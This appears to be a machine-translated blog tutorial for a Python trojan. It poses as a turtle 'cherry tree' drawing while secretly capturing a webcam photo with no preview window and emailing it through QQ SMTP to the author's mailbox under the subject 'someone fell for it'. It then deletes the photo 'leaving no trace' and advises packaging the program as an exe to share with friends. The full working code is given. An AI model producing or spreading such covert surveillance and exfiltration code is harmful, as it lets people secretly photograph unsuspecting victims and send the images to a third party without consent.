You need to install opencv library
package needs pyinstaller library
In order to facilitate the achievement of the above functions, I made a function of each module
- Painted cherry trees
in code library turtle draw a lot of cherry, are also very good, incorporated herein by reference nobody attention -python cherry trees to be modified code, written as a function format
code is as follows:
# -*- coding: utf-8 -*-
"""
Created on Fri Dec 27 15:20:47 2019
@author: Administrator
"""
import turtle as T
import random
import time
# 画樱花的躯干(60,t)
def Tree(branch, t):
time.sleep(0.0005)
if branch > 3:
if 8 <= branch <= 12:
if random.randint(0, 2) == 0:
t.color('snow') # 白
else:
t.color('lightcoral') # 淡珊瑚色
t.pensize(branch / 3)
elif branch < 8:
if random.randint(0, 1) == 0:
t.color('snow')
else:
t.color('lightcoral') # 淡珊瑚色
t.pensize(branch / 2)
else:
t.color('sienna') # 赭(zhě)色
t.pensize(branch / 10) # 6
t.forward(branch)
a = 1.5 * random.random()
t.right(20 * a)
b = 1.5 * random.random()
Tree(branch - 10 * b, t)
t.left(40 * a)
Tree(branch - 10 * b, t)
t.right(20 * a)
t.up()
t.backward(branch)
t.down()
# 掉落的花瓣
def Petal(m, t):
for i in range(m):
a = 200 - 400 * random.random()
b = 10 - 20 * random.random()
t.up()
t.forward(b)
t.left(90)
t.forward(a)
t.down()
t.color('lightcoral') # 淡珊瑚色
t.circle(1)
t.up()
t.backward(a)
t.right(90)
t.backward(b)
def draw():
# 绘图区域
t = T.Turtle()
# 画布大小
w = T.Screen()
t.hideturtle() # 隐藏画笔
t.getscreen().tracer(5, 0)
w.screensize(bg='wheat') # wheat小麦
t.left(90)
t.up()
t.backward(150)
t.down()
t.color('sienna')
# 画樱花的躯干
Tree(60, t)
# 掉落的花瓣
Petal(200, t)
w.exitonclick()
draw()
Drawn look is also very beautiful, and every time are random, every time the cherry trees are not the same, the specific effect can try to run their own
- Launching the camera and save pictures
to be simple code can be achieved using opencv camera open for concealment, the program only took a picture, and not displayed on the desktop, which is no * cv2.imshow ( 'Frame', frame) this function.
Save photos need to use cv2.imwrite ( "d: /photo.jpg", frame) can be, it is saved to disk in d jpg format.
And with imgType = imghdr.what ( "d: /photo.jpg ") * verify successfully saved, if it is immediately break out of this function.
The complete code is as follows:
from cv2 import cv2
import imghdr
import time
def camera():
capture = cv2.VideoCapture(0)
time.sleep(3)
while(True):
# 获取一帧
ret, frame = capture.read()
cv2.imwrite("d:/photo.jpg", frame)
#显示帧
imgType = imghdr.what("d:/photo.jpg")
print(imgType)
if imgType == "jpeg":
break
if cv2.waitKey(1) == ord('q'):
break
camera()
- By e-mail sent back
mainly to send SMTP mail (based on QQ mailbox), settings can be ready to see another blog with python: How python mail but both also have some different, the message includes photos, in this direct given the code:
just fill in the following four markers to place
# coding=utf-8
# nboyjbqualaxjdhf
# pmdnpyqklvvsjafi
# ! /usr/bin/env python
# coding=utf-8
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
def send():
sender = '***@qq.com' # 发件人邮箱
receivers = '113****@qq.com' # 收件人邮箱
message = MIMEMultipart('related')
subject = '有人上当了'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
message.attach(content)
file=open("c:/****.jpg", "rb") # 图片地址
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server=smtplib.SMTP_SSL("smtp.qq.com",465)
server.login(sender,"*****") # QQ邮箱开通SMTP邮件,并生成的授权码
server.sendmail(sender,receivers,message.as_string())
server.quit()
print ("邮件发送成功")
except smtplib.SMTPException as e:
print(e)
send()
- Delete photos
codes of deleted files is very concise, delete pictures on the general function of the function to send a message, delete photos once completed, leaving no trace, ha ha.
import os,sys
def dele():
os.remove("d:/photo.jpg")
dele()
- The complete code
Then there is the above code fused together to form a comprehensive code, complete code is as follows:
from cv2 import cv2
import imghdr
import time
import os,sys
import smtplib
import turtle as T
import random
import time
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
# 画樱花的躯干(60,t)
def Tree(branch, t):
time.sleep(0.0005)
if branch > 3:
if 8 <= branch <= 12:
if random.randint(0, 2) == 0:
t.color('snow') # 白
else:
t.color('lightcoral') # 淡珊瑚色
t.pensize(branch / 3)
elif branch < 8:
if random.randint(0, 1) == 0:
t.color('snow')
else:
t.color('lightcoral') # 淡珊瑚色
t.pensize(branch / 2)
else:
t.color('sienna') # 赭(zhě)色
t.pensize(branch / 10) # 6
t.forward(branch)
a = 1.5 * random.random()
t.right(20 * a)
b = 1.5 * random.random()
Tree(branch - 10 * b, t)
t.left(40 * a)
Tree(branch - 10 * b, t)
t.right(20 * a)
t.up()
t.backward(branch)
t.down()
# 掉落的花瓣
def Petal(m, t):
for i in range(m):
a = 200 - 400 * random.random()
b = 10 - 20 * random.random()
t.up()
t.forward(b)
t.left(90)
t.forward(a)
t.down()
t.color('lightcoral') # 淡珊瑚色
t.circle(1)
t.up()
t.backward(a)
t.right(90)
t.backward(b)
def draw():
# 绘图区域
t = T.Turtle()
# 画布大小
w = T.Screen()
t.hideturtle() # 隐藏画笔
t.getscreen().tracer(5, 0)
w.screensize(bg='wheat') # wheat小麦
t.left(90)
t.up()
t.backward(150)
t.down()
t.color('sienna')
# 画樱花的躯干
Tree(60, t)
# 掉落的花瓣
Petal(200, t)
w.exitonclick()
def send():
sender = '113******@qq.com' # 发件人邮箱
receivers = '113****@qq.com' # 收件人邮箱,可以和发件人一致
message = MIMEMultipart('related')
subject = '有人上当了'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8')
message.attach(content)
file=open("d:/photo.jpg", "rb")
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server=smtplib.SMTP_SSL("smtp.qq.com",465)
server.login(sender,"*********") # 授权码
server.sendmail(sender,receivers,message.as_string())
server.quit()
print ("启动成功!即将绘图")
dele() # 发送成功后删除照片
except smtplib.SMTPException as e:
print(e)
def dele():
os.remove("d:/photo.jpg")
def camera():
capture = cv2.VideoCapture(0)
time.sleep(3)
while(True):
# 获取一帧
ret, frame = capture.read()
cv2.imwrite("d:/photo.jpg", frame)
imgType = imghdr.what("d:/photo.jpg")
if imgType == "jpeg":
break
if cv2.waitKey(1) == ord('q'):
break
while True:
draw()
camera()
send()
draw()
These are the complete code, it should be noted that the program addresses four images need to be consistent, email authorization codes.
After the code is packaged with pyinstaller into exe file, you can share with your friends.
- Samples and doubts
Here is an example, it will automatically send a message to your mailbox (careful multithreaded retaliation)
but there are a lot of people can not complete execution, painting cherry trees no problem, also can activate the camera, usually stuck in the mail, I do not know why, I feel there may be two reasons:
a lack Up to send
2 is not the D drive. . .
I am white, please enlighten me master